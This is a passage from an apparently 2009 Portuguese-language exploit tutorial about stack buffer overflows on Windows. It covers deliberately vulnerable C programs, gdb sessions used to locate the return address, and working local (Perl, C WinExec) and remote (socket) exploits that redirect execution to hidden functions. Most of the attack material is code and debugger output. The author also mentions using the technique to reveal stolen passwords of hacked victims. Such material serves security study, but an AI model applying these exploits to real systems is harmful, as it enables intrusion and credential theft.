alcancam o 'dummy' que nesse caso e de 8 bytes e chegam no FBP. Acredito que esteja
ficando mais claro para voce a cada minuto, amigo ;) Entao, pense comigo: Se o en-
dereco de retorno armazena o endero da proxima instrucao depois da chamada a uma
funcao, e ja que podemos sobrescrever o stack frame, entao podemos inferir que po-
demos inserir dados ate alcancarmos o endereco de retorno, e os dados que nos inse-
rimos que serao executados, certo? Exato. Veja esse exemplo:
-- I didn't see.c --
main (){
char buffer2[21]="I didn't see nothing", buffer1[8];
strcpy (buffer1, "David_Destroyer");
puts (buffer2);
}
-- cut --
Os dados sao empilhados da direita para esquerda nesse caso. Entao o buffer 1
sera empilhado, depois o buffer2. Repare que o buffer1 e capaz de suportar 8
caracteres, mas a um problema neste programa, perceba que estou copiando uma
string de 15 bytes (David_Destroyer) para um buffer que suporta 8. O que vai
acontecer e o overflow, ou seja, os dados que nos inserimos sobre o primeiro
buffer vao sobrescrever o segundo.
123456789ABCDEF <--------[] 15 bytes
David_Destroyer
|
+-----------> A partir daqui os dados estarao no buffer2
Veja que logo em seguida a copia dos dados, e imprimido o valor do buffer2.
C:\Documents and Settings\David>"I didn't see.exe"
stroyer
Repare que os dados impressos nao sao os dados que inicializei no 'buffer2'
(I didn't see nothing), mas sim o resto dos dados que nao foram suportados
pelo buffer1. Se inserirmos apenas 7 bytes no buffer1, ou menos, o conteudo
do segundo buffer sera impresso normalmente.
-- nothing.c --
// nothing\0 <-- 7 bytes + NULL byte
main (){
char buffer2[21]="I didn't see nothing", buffer1[8];
strcpy (buffer1, "nothing");
fprintf (stdout, "%s", buffer2);
}
-- cut --
C:\Documents and Settings\David>"I didn't see.exe"
I didn't see nothing
E se o buffer destino ao invez de 8, que e multiplo de 4, fosse 7, nao conse-
guiriamos fazer o programa mostrar os dados nao suportados porque os dados na
pilha crescem de 4 em 4 bytes ;) Veja um melhor exemplo dessa informacao que
nos sera muito util em meu proximo paper ("futuro proximo"):
-- winki.c --
main (){
char buffer2[21]="I didn't see nothing", buffer1[7];
strcpy (buffer1, "David_Destroyer");
puts (buffer2);
}
-- cut --
Veja que o primeiro buffer e composto por 7 bytes, mas os dados que nos esta-
mos inserindo e multiplo de quatro bytes.
C:\Documents and Settings\David>wink.exe
I didn't see nothing
Esse "detalhe" ficara para meu proximo texto, no qual demonstrarei mais exemplos
de exploracao pela heap do que o primeiro texto que escrevi[2]. E muito importante
que voces saibam que a criacao de um dummy e de um alinhamento (criados pelos gcc)
no stack frame vai depender do tamanho do buffer das variaveis locais utilizadas
no codigo do programa. Bem, primeiramente veremos exemplos de overflow para logo
em seguida eu poder entrar em detalhes com relacao a isso.
-- programa1.c --
/*
*
* There's a bug in this code
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int overflow (char *string){
char buffer[4];
strcpy (buffer, string);
puts (buffer);
}
int main (int argc, char *argv[]){
if (argc != 2) exit (-1);
overflow (argv[1]);
return (0);
}
-- cut --
O que esse programa faz (como voce pode ver) e copiar o o primeiro parametro de li-
nha de comando e fazer uma chamada a funcao overflow, no qual recebera esse parame-
tro e armazenara o mesmo na variavel de lista de parametro "string" que por sua vez
tera seu conteudo copiado para a variavel buffer, agora veja onde ocorrer a falha:
char buffer[4];
strcpy (buffer, string);
Repare que o buffer pode suportar 4 bytes, ou seja, e reservado para essa variavel
'4' bytes no stack frame da funcao overflow (no qual os parametros passados a ela
serao alocados), abaixo vera que e copiado o conteudo da variavel string (no qual
armazena os parametros digitados por nos, na linha de comando) para esta variavel,
mas a funcao strcpy() nao faz checagem alguma dos dados que serao alocados na me-
moria (stack frame). O gcc reserva espaco para 4 bytes na area 'buffer' do stack
frame, ou seja, se inserirmos mais de 4 bytes esses bytes adicionais vao sobres-
crevendo os ponteiros no stack frame e se por acaso chegarem ao retorno, o sis-
tema vai ter que retornar o que esta na area RET ADDR no stack frame, ou seja, ele
vai jogar para eip o endereco armazenado na area RETURN ADDR, e assim executando
aquela instrucao (Como eu ja falei). Vejam sobre como injetar um endereco executa-
vel/valido na area 'RETURN ADDRESS' nos proximos capitulos. "Primeiramente" vamos
ver como identificar o overflow e fazer alguns mapas da memoria para cada funcao
que aqui sera debugada.
Execucao do programa1..:
C:\Documents and Settings\David>programa1.exe AA
AA
C:\Documents and Settings\David>programa1.exe AAA
AAA
C:\Documents and Settings\David>programa1.exe AAAAAAAAAAAAA
AAAAAAAAAAAAA
C:\Documents and Settings\David>
E atraves desta mensagem que podemos saber se o programa e vulneravel
a overflow no windows (Segmentation fault):
------------------------------------------------------------
|O programa1.exe encontrou um problema e precisa ser fechado.|
------------------------------------------------------------
Essa mensagem pode representar o overflow, como tambem nao pode. Se voce esta
inserindo muito dados em buffers de alguns programas e voce cair nesta mensagem,
a uma grande chance de voce ter descoberto um bug/falha de stack overflow nesse
programa. Repare que primeiramente insiro duas letras 'A' na execucao do progra-
ma, ate ai tudo bem, o programa terminou normalmente, depois inseri 3 A's, tam-
bem nao houve problema algum, pois o buffer suporta 4 bytes (3 + '\0'). Observe
que na ultima execucao inseri:
AAAAAAAAAAAAA
0123456789ABC
|
+---> O buffer suporta dados ate aqui.
13 bytes no buffer, e nos foi apresentada a mensagem anterior, ou seja, acaba-
mos de descobrir um bug! Veremos agora como explora-lo. Vamos ver os bytes do
stack frame da funcao overflow e desenha-lo.
C:\Documents and Settings\David>gdb programa1.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012b5 <main>: push %ebp
0x4012b6 <main+1>: mov %esp,%ebp
0x4012b8 <main+3>: sub $0x8,%esp
0x4012bb <main+6>: and $0xfffffff0,%esp
0x4012be <main+9>: mov $0x0,%eax
0x4012c3 <main+14>: add $0xf,%eax
0x4012c6 <main+17>: add $0xf,%eax
0x4012c9 <main+20>: shr $0x4,%eax
0x4012cc <main+23>: shl $0x4,%eax
0x4012cf <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012d2 <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012d5 <main+32>: call 0x401750 <_alloca>
0x4012da <main+37>: call 0x4013f0 <__main>
0x4012df <main+42>: cmpl $0x2,0x8(%ebp)
0x4012e3 <main+46>: je 0x4012f1 <main+60>
0x4012e5 <main+48>: movl $0xffffffff,(%esp,1)
0x4012ec <main+55>: call 0x401840 <exit>
0x4012f1 <main+60>: mov 0xc(%ebp),%eax
0x4012f4 <main+63>: add $0x4,%eax
0x4012f7 <main+66>: mov (%eax),%eax
0x4012f9 <main+68>: mov %eax,(%esp,1)
0x4012fc <main+71>: call 0x401290 <overflow> <----- Achamos a chamada
---Type <return> to continue, or q <return> to quit---
0x401301 <main+76>: mov $0x0,%eax
0x401306 <main+81>: leave
0x401307 <main+82>: ret
End of assembler dump.
(gdb)
E nessa instrucao que a funcao overflow e chamada:
0x4012fc <main+71>: call 0x401290 <overflow>
Disassemblaremos a mesma:
(gdb) disass 0x401290
Dump of assembler code for function overflow:
0x401290 <overflow>: push %ebp
0x401291 <overflow+1>: mov %esp,%ebp
0x401293 <overflow+3>: sub $0x18,%esp
0x401296 <overflow+6>: mov 0x8(%ebp),%eax
0x401299 <overflow+9>: mov %eax,0x4(%esp,1)
0x40129d <overflow+13>: lea 0xfffffffc(%ebp),%eax
0x4012a0 <overflow+16>: mov %eax,(%esp,1)
0x4012a3 <overflow+19>: call 0x401860 <strcpy>
0x4012a8 <overflow+24>: lea 0xfffffffc(%ebp),%eax
0x4012ab <overflow+27>: mov %eax,(%esp,1)
0x4012ae <overflow+30>: call 0x401850 <puts>
0x4012b3 <overflow+35>: leave
0x4012b4 <overflow+36>: ret
End of assembler dump.
Agora vamos usar uma tecnica chamada de "fuzzing" para saber quantos bytes
precisaremos para alcancar o endereco de retorno. Essa tecnica foi muito
evoluida, mas aqui nao vamos entrar em detalhes, falarei apenas do basico,
que consiste em injetar em buffers, grandes quantidades de bytes e esperar
alguma mensagem de erro. Macete bem "espartano" eim? Vamos entao "fuzzar"
este programa dentro do gdb:
(gdb) r AAA
Starting program: C:\Documents and Settings\David/programa1.exe AAA
Program exited normally.
Nem um problema, vejam que o proprio gdb nos mostra que o programa saiu
normalmente. Agora vamos transbordar (overflow) nosso buffer e atraves
dele encostaremos no endereco de retorno do stack frame "Overflow".
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: C:\Documents and Settings\David/programa1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
OK, por incrivel que pareca essa mensagem de erro e boa para nos };P Segmentation fault
e a mensagem que nos e exibida nos linuxes quando o stack frame retorna para uma area de
memoria invalida; Nao se esqueca que estamos em uma ferramenta nativa do linux, por isso
tambem temos essa mensagem. Vejam que interessante, A em ASCII equivale ao 41 em hexade-
cimal, veja
main (){
printf ("%x\n", 'A');
system ("pause");
}
Resultado:
41 <--- 0x41
Pressione qualquer tecla para continuar. . .
(gdb) i r
eax 0x22ff60 2293600
ecx 0x3d3d60 4013408
edx 0xababab00 -1414812928
ebx 0x4000 16384
esp 0x22ff80 0x22ff80
ebp 0x41414141 0x41414141 <-- ebp sobrescrito
esi 0xdca4f0 14460144
edi 0xd7ea70 14150256
eip 0x41414141 0x41414141 <-- Proxima instrucao.
eflags 0x10246 66118
cs 0x1b 27
(...)
Lembrando que o processador "sempre" trabalha no nivel hexadecimal.
O nosso objetivo agora e saber em quantos bytes podemos alcancar o endereco
de retorno. Para isso utilizaremos uma tecnica chamada Binary Tree Analysis
ou BTA, que consiste na insercao de um buffer com dados variados, exemplo,
inserimos x numeros de A's, depois x numero de B's e x numeros de C's, se o
debuger utilizado nos retornar que a base do stack frame foi sobrescrita
por 0x42 que representa o B, entao "obviamente" que o 'ebp' esta entre os x
B's inseridos, e assim por diante.
(gdb) r AAAADDDDRRRR
Starting program: C:\Documents and Settings\David/programa1.exe AAAADDDDRRRR
Program received signal SIGSEGV, Segmentation fault.
0x52525252 in ?? ()
Buffer = A
Base pointer = D
Return addres = R
Alcancamos o endereco de retorno!! Como eu sei? Veja:
0x52525252 in ?? () <-- Observe que 52 em hexadecimal corresponde a R
O que aconteceu foi isso:
+--------------+
| buffer[1] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[2] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[3] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[4] | = A ||
+--------------+ ||
+--------------+ ||
| FBP (4 bytes)| = DDDD ||
+--------------+ ||
| RETURN ADDR | = RRRR (0x52) VV
+--------------+
Veja que o endereco de retorno vai retornar o 0x52, que nao e um endereco
valido, alocado na memoria, por isso o signal SIGSEGV e retornado. Vamos
causar o overflow no stack frame de main:
-- main_overflow.c --
main (int argc, char *argv[]){
if (argc != 2) exit (0);
char frame[16];
strcpy (frame, argv[1]); // <- Copia o que nos digitarmos para a \
variavel frame (sem controle).
}
-- cut --
C:\Documents and Settings\David\Meus documentos>gdb main_overflow.exe -q
(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR
Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR
Program received signal SIGSEGV, Segmentation fault.
0x00525252 in ?? ()
Repare acima que esta faltando 1 unico byte para completar os 4 que compoem o endereco
de retorno. Entao apenas precisariamos inserir mais um 'R'
(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR
Program received signal SIGSEGV, Segmentation fault.
0x52525252 in ?? ()
Agora o RET esta totalmente sobrescrito. Entao e necessario os seguintes bytes
para alcancarmos o endereco de retorno:
Buffer = AAAAAAAAAAAAAAAA (16 bytes)
Dummy = DDDDDDDD (8 bytes)
FBP = FFFF (4 bytes)
RET = RRRR (4 bytes)
+--------------+
| buffer[0] | = A ||
+--------------+ ||
+--------------+ ||
| buffer... | = A ||
+--------------+ ||
+--------------+ ||
| buffer[16] | = A ||
+--------------+ ||
+--------------+ ||
| Dummy (8) | = DDDDDDDD ||
+--------------+ ||
+--------------+ ||
| FBP (4 bytes)| = FFFF ||
+--------------+ ||
| RETURN ADDR | = RRRR (0x52) VV
+--------------+
^
|
|
+---> O stack frame retornara para RRRR (SIGSEGV)
----- Capitulo 0x0B
[=] + =========================================== + [=]
---=[ Seu primeiro exploit (local) ]=---
[=] + =========================================== + [=]
Bem, para esse primeiro exemplo de "exploracao" de stack overflow, nao mostrarei a
utilizacao de shellcode, por hora voce apenas sabera como controlar o endereco de
retorno para o mesmo retornar a algum lugar na memoria. Bem, a tecnica de explora-
cao local pode ter varias utilidades, eu costumava esconder uma funcao no qual
me mostrava minhas senhas e das vitimas que hackiava, em alguns programas, eram
centenas de senhas e ainda nao havia memorizado todas, quando queria visualiza-las
explorava localmente a aplicacao cobaia e fazia o RETURN retornar a minha funcao
oculta, e assim fazendo com que o programa apresentasse-me as senhas.
Exemplo:
-- show_passwords.c --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void function_vuln ();
void show_pass (){
char *password[] = {
"Email: test@testing.com \n",
"Pass : this_is_a_test"
};
int i=0;
while (i != 2){
fputs (password[i], stdout);
++i;}
exit (0);
}
int main (int argc, char *argv[]){
// It doesn't drink much water ... :)
puts ("Do you can give me some water? yes/no");
if (argc != 2) exit (0);
function_vuln (argv[1]);
return 0;
}
void function_vuln (char *string) {
char buffer[16];
strcpy (buffer, string); // <- A falha esta aqui.
if (!strncmp (buffer, "yes", strlen ("yes")) ){
system ("cls");
fprintf (stdout, "%s", "Thank'x man\n");
}
else
puts ("\n\nWell, well, well -> FuCk\n");
}
-- cut --
Passo 1..:
C:\Documents and Settings\David>show_passwords.exe
Do you can give me some water? yes/no
C:\Documents and Settings\David>show_passwords.exe yes
Resultado..:
Thank'x man
C:\Documents and Settings\David\Desktop>
Este programa pergunta se o usuario quer dar agua a ele (lol), se o usuario
digitar sim, ele diz "obrigado", caso contrario o usuario recebe uma mensa-
gem de erro. Veja que em nenhum momento e feito qualquer chamada a funcao
show_pass (). Vejamos onde esta a falha:
strcpy (buffer, argv[1]);
Como ja falei, strcpy() nao faz checagem alguma dos dados que serao copiados
para o buffer de destino. E atraves desta falha que vamos explorar esse pro-
grama e fazer o endereco de retorno retornar para o local na memoria que
queremos. Antes de explorarmos a aplicacao acima, escreverei outra aplicacao
bugada para mostrar a exploracao de programas que recebem o parametro
argument count e argument values.
-- exploit-me_v1.0.c --
void show_pass (){
char *password[] = {
"Email: test@testing.com \n",
"Pass : this_is_a_test"
};
}
main (int argc, char **argv){
char buffer[16]; // <-- Portal da felicidade
strcpy (buffer, argv[1]); // <-- Nosso bombom
}
-- cut --
C:\>gdb exploit-me_v1.0.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>: push %ebp
0x401291 <show_pass+1>: mov %esp,%ebp
0x401293 <show_pass+3>: sub $0x8,%esp
0x401296 <show_pass+6>: movl $0x403000,0xfffffff8(%ebp)
0x40129d <show_pass+13>: movl $0x40301a,0xfffffffc(%ebp)
0x4012a4 <show_pass+20>: leave
0x4012a5 <show_pass+21>: ret
End of assembler dump.
(gdb) q
C:\>
0x401290 <--- Retornaremos este endereco. Agora vamos fazer o
exploit em perl apenas para uma melhor aprendizagem.
-- first_exploit.pl --
####################################################
### O primeiro exploit voces nunca vao esquecer ;) #
####################################################
# Caminho do .executavel bugado
my $PATH ="c:\\exploit-me_v1.0.exe ";
# Dados para sobrescrever o stack frame da funcao main
my $Buffer = "A" x 16; # Buffer
my $Dummy = "D" x 8; # Dummy
my $FBP = "B" x 4; # Frame Base Pointer
#Endereco de retorno (De tras para frente - LIFO)
#Endereco de show_pass ();
my $RET = "\x90\x12\x40\x00";
#Anexamos a variavel '$exploit' as outras variaveis
my $exploit =$Buffer.$Dummy.$FBP.$RET;
#AAA... DDD... BBB... "\x90\x12\x40\x00";
print ("\nSending exploit, please wait...\n\n");
print $exploit;
system ($PATH, $exploit); # <-- Chama o programa e usa o argumento
# $exploit <-- Onde estao os dados.
-- cut --
Sei que voce (Brasileiro =) ficara empolgadissimo com isso:
C:\>first_exploit.pl
Sending exploit, please wait...
AAAAAAAAAAAAAAAADDDDDDDDBBBBÉ?@
Email: test@testing.com
Pass : this_is_a_test
C:\>
owned! huhuhu (sndMas rlz ;). OK. The program has been exploited. We
have total control of the return address.
================================
Exploitando o show password v1.0
================================
Primeiro passo...: Descobrindo o endereco que queremos retornar.
C:\Documents and Settings\David\Desktop>gdb show_passwords.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>: push %ebp
0x401291 <show_pass+1>: mov %esp,%ebp
(...)
O resto das instrucoes nao nos importam, o que queremos e o endereco inicial
desta funcao. Que eh: 0x'401290'. Como vimos anteriormente para a exploracao
de buffers de 16 bytes precisariamos de '16' bytes para lotar a area que foi
reservada para esse buffer no stack frame, os 8 bytes de dummy mais os 4 do
FBP (ebp). Entao podemos inferir que devemos inserir o endereco 0x401290 na
area RET do stack frame. Vamos fazer logo esse exploit em C:
-- exploit_for_SPv1.c --
/*
*
* Exploit for to exploit a flaw in the
* Show Passwords v0.1
*
* Bug discovered by 6_Bl4ck9_f0x6 :)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET "\x90\x12\x40\x00"
main (){
printf ("Sending exploit, please wait...\r\n\r\n");
// A funcao WinExec executa um programa e passa parametros ao mesmo.
WinExec ("\\show_passwords.exe yesAAAAAAAAAAAAADDDDDDDDBBBB\x90\x12\x40\x00", 0);
exit (0);
}
-- cut here --
C:\>exploit_for_SPv1.exe
Resultado..:
Thank'x man
Email: test@testing.com
Pass : this_is_a_test
C:\>
Simples, nao? Existe a classe dos que ensinam e a classe dos que gostam
de aparecer (White Corja Poser Brasileira).
----- Capitulo 0x0C
[=] + =========================================== + [=]
---=[ Exploracao remota ]=---
[=] + =========================================== + [=]
Escrevi um pequeno servidor vulneravel a stack overflow, obviamente que
isso foi intencional ehehhe...:)
-- fox_server.c --
/*
*
* Aprendam uma coisa de uma vez por todas:
* A rede globo eh a maior ;)
*
* <- Tava devendo essa ->
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#define BACKLOG 5
#define PORT 666
WSADATA data;
struct sockaddr_in local_bind, server;
int SoCk, SoCkII;
int login_ ();
char username[400];
int secret_function (){
char *message="\n\n Hi 6_Bl4ck9_f0x6 \n\n";
fprintf (stdout, message, strlen (message));
}
int main (){
memset (username, 0x00, 0x08);
WSAStartup (MAKEWORD (2,2),&data);
SoCk = socket (PF_INET, SOCK_STREAM, 0);
local_bind.sin_family=AF_INET;
local_bind.sin_port=htons (PORT);
local_bind.sin_addr.s_addr = htonl (INADDR_ANY);
memset (&local_bind.sin_zero, 0x00, 0x08);
bind (SoCk, (struct sockaddr *)&local_bind, 0x10);
unsigned int len=sizeof (SOCKADDR_IN);
listen (SoCk, BACKLOG);
fprintf (stdout, "Listening in the %d port...", \
ntohs (local_bind.sin_port));
SoCkII = accept (SoCk, (struct sockaddr *)&server, &len);
closesocket (SoCk);
u_char *msgs=" \n\n --=[ Welcome to the Black Machine ]=--\n";
u_char *login="\nLogin: \n";
send (SoCkII, msgs, strlen (msgs), 0x00);
send (SoCkII, login, strlen (login), 0x00);
recv (SoCkII, username, 400, 0x00);
login_ ();
}
login_ (){
printf ("%d", strlen (username));
char buffer[200];
strcpy (buffer, username);
if (!strncmp (buffer, "6_Bl4ck9_f0x6", 13)){
send (SoCkII, "\n\nBem vindo fox\n", strlen ("\n\nBem vindo fox\n"), 0x00);
return 0;}
else{
send (SoCkII, "\nLogin invalido...", strlen ("\nLogin invalido..."), 0x00);
Sleep (3000);
send (SoCkII, "\nEstou te rastreando... Buu\n\n", \
strlen ("\nEstou te rastreando... Buu"), 0x00);
WSACleanup();
closesocket (SoCk);
}
}
-- cut --
Nao me preocupei muito com organizacao, portanto nao me mandem emails falando
que o server nao ta bonitinho rsrs. Ah! Os testes abaixo foram feitos com o
seguintes buffers:
char username[400]; & char buffer[200];
C:\Documents and Settings\David\Desktop>fox_server.exe
Listening in the 666 port...
Utilizarei o netcat como cliente
C:\Documents and Settings\David>nc 127.0.0.1 666
--=[ Welcome to the Black Machine ]=--
Login:
Ele espera eu digitar um login. O login que nao precisa de senha e meu
nick: 6_Bl4ck9_f0x6 . Se voce digitar outro acontece isso:
-- cut --
C:\Documents and Settings\David>nc 127.0.0.1 666
--=[ Welcome to the Black Machine ]=--
Login:
Obtruder
Login invalido...
Estou te rastreando... Buu
-- cut --
Foi so um charminho, relaxa }=) Entao, o overflow ocorre na autenticacao
do usuario. Vejam so:
char buffer[60];
strcpy (buffer, username);
Se o nome de usuario conter mais de 60 bytes ocorre o overflow no stack frame
da funcao login_() . Execucao correta do server:
-- cut --
--=[ Welcome to the Black Machine ]=--
Login:
6_Bl4ck9_f0x6
Bem vindo fox
-- cut --
Vamos rodar o servidor dentro do debug.
C:\Documents and Settings\David\Desktop>gdb fox_server.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) q
The program is running. Exit anyway? (y or n) y
C:\Documents and Settings\David\Desktop>
Veja melhor:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Veja porque isso aconteceu:
--=[ Welcome to the Black Machine ]=--
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Login invalido...
Estou te rastreando... Buu
Vamos achar o endereco de retorno usando Binary Tree Analysis
--=[ Welcome to the Black Machine ]=--
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCDDDDDDDDDDDDDD
Login invalido...
Estou te rastreando... Buu
Veja abaixo que o RET esta entre os C's digitados:
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)
Vamos inserir entre os 4 C's, alguns A's
--=[ Welcome to the Black Machine ]=--
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAAADDDDDDRRRR
Login invalido...
Estou te rastreando... Buu
C:\Documents and Settings\David>
Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe
Program received signal SIGSEGV, Segmentation fault.
0x41414143 in ?? ()
Yeah! Yeah! Yeah! Veja acima que o RET comeca a ser sobrescrito deste ponto:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAA [ ADDDDDDRRRR ]
|
+-- > Here!
Entao ja sabemos quantos bytes serao necessarios para alcancarmos o endereco
de retorno.
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCRRRRADDDDDDRRRR
|__|
|
+-- > RETURN ADDRESS
-- fox_server_exploit.c --
/*
*
* Simples exploit para fazer o programa vulneravel
* retornar a um endereco de memoria.
*
* Coded by 6_Bl4ck9_f0x6
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#define NOP 0x90
WSADATA data;
SOCKADDR_IN server;
int len=sizeof (server);
main (){
WSAStartup (MAKEWORD (2,2),&data);
int SoCk = socket (AF_INET, SOCK_STREAM, IPPROTO_IP);
server.sin_family = AF_INET;
server.sin_port = htons (666);
server.sin_addr.s_addr = inet_addr ("192.168.1.1");
memset (&server.sin_zero, 0x00, 0x08);
u_char payload[224], ret[]="\x90\x12\x40";
if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) ==
SOCKET_ERROR){
fprintf (stdout, "\n[Porta fechada]\n");
return (0);}
memset (payload, NOP, sizeof (payload));
memcpy (payload +220, ret, 0x04);
printf ("Sending exploit...\n");
send (SoCk, payload, 224, 0);
closesocket (SoCk);
system ("pause");
}
-- cut --
fiz o BTA e descobri que para alcancar o endereco de retorno preciso
de 224 bytes, ou seja, 220 para enchermos o buffer vulneravel na app
bugada, mais o endereco de retorno.
ret[]="\x90\x12\x40";
Acima e o endereco da funcao que esta oculta no programa vulneravel.
1 - memset (payload, NOP, sizeof (payload));
2 - memcpy (payload +220, ret, 0x04);
1 -- > Encho a variavel payload de NOP's.
2 -- > Logo depois copio para o final dela
o endereco de retorno.
E envio 224 bytes atraves do socket.
Primeiro o exploit estabelece uma conexao na maquina na vitima:
-- cut --
if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) ==
SOCKET_ERROR){
fprintf (stdout, "\n[Porta fechada]\n");
return (0);}
-- cut --
Depois envio o payload que vai explorar o programa:
-- cut --
send (SoCk, payload, 224, 0);
-- cut --
Sending exploit...
Pressione qualquer tecla para continuar. . .
E o resultado eh este:
C:\Documents and Settings\David\Meus documentos>fox_server.exe
Listening in the 666 port...223
Hi 6_Bl4ck9_f0x6
=========================================================
+ http://www.hunterhacker.xpg.com.br/exploited.JPG +
=========================================================
----- Capitulo 0x0E
[=] + =========================================== + [=]
---=[ Consideracoes finais ]=---
[=] + =========================================== + [=]
Um critico natural, amante da beleza feminina, amante das coisas boas da vida,
alguem que pretende ter familia, ter alguem pra quem deixar o que aprendeu.
Alguem que as unicas coisas que quer e privacidade e felicidade, alguem que nao
entende porque as pessoas possuem muito poder, alguem que nao entende porque as
pessoas menores se deixam obedecer, alguem que espera...
"A verdadeira mascara e aquela que voce carrega dentro de si."
-- " "
----[ Useful links and references
=====================================================================
Course of C Part 4 - Final Version. Written for my e-zine (C.O.D.E).
[1] - http://www.blackhat-forums.com/index.php?showtopic=8574
=====================================================================
Exploiting Heap Overflow in the windows without mistery
[2] - http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt
=====================================================================
Stack/buffer overflow by blackwinner
[3] - http://www.forum.darkers.com.br/index.php?topic=9941.msg44462;topicseen#msg44462
=====================================================================
Difference Between AT&T and Intel Assembly Syntax
[4] - http://www.w00w00.org/files/articles/att-vs-intel.txt
=====================================================================
Tutorial Basico do gcc e entendendo as etapas de compilacao
[5] - http://www.hunterhacker.xpg.com.br/gcc_tuto_1.txt
=====================================================================
"O ser mais perigoso e aquele que nao representa perigo algum."
[]`s
by
6_Bl4ck9_f0x6 - Viper Corp Group
# milw0rm.com [2009-05-08]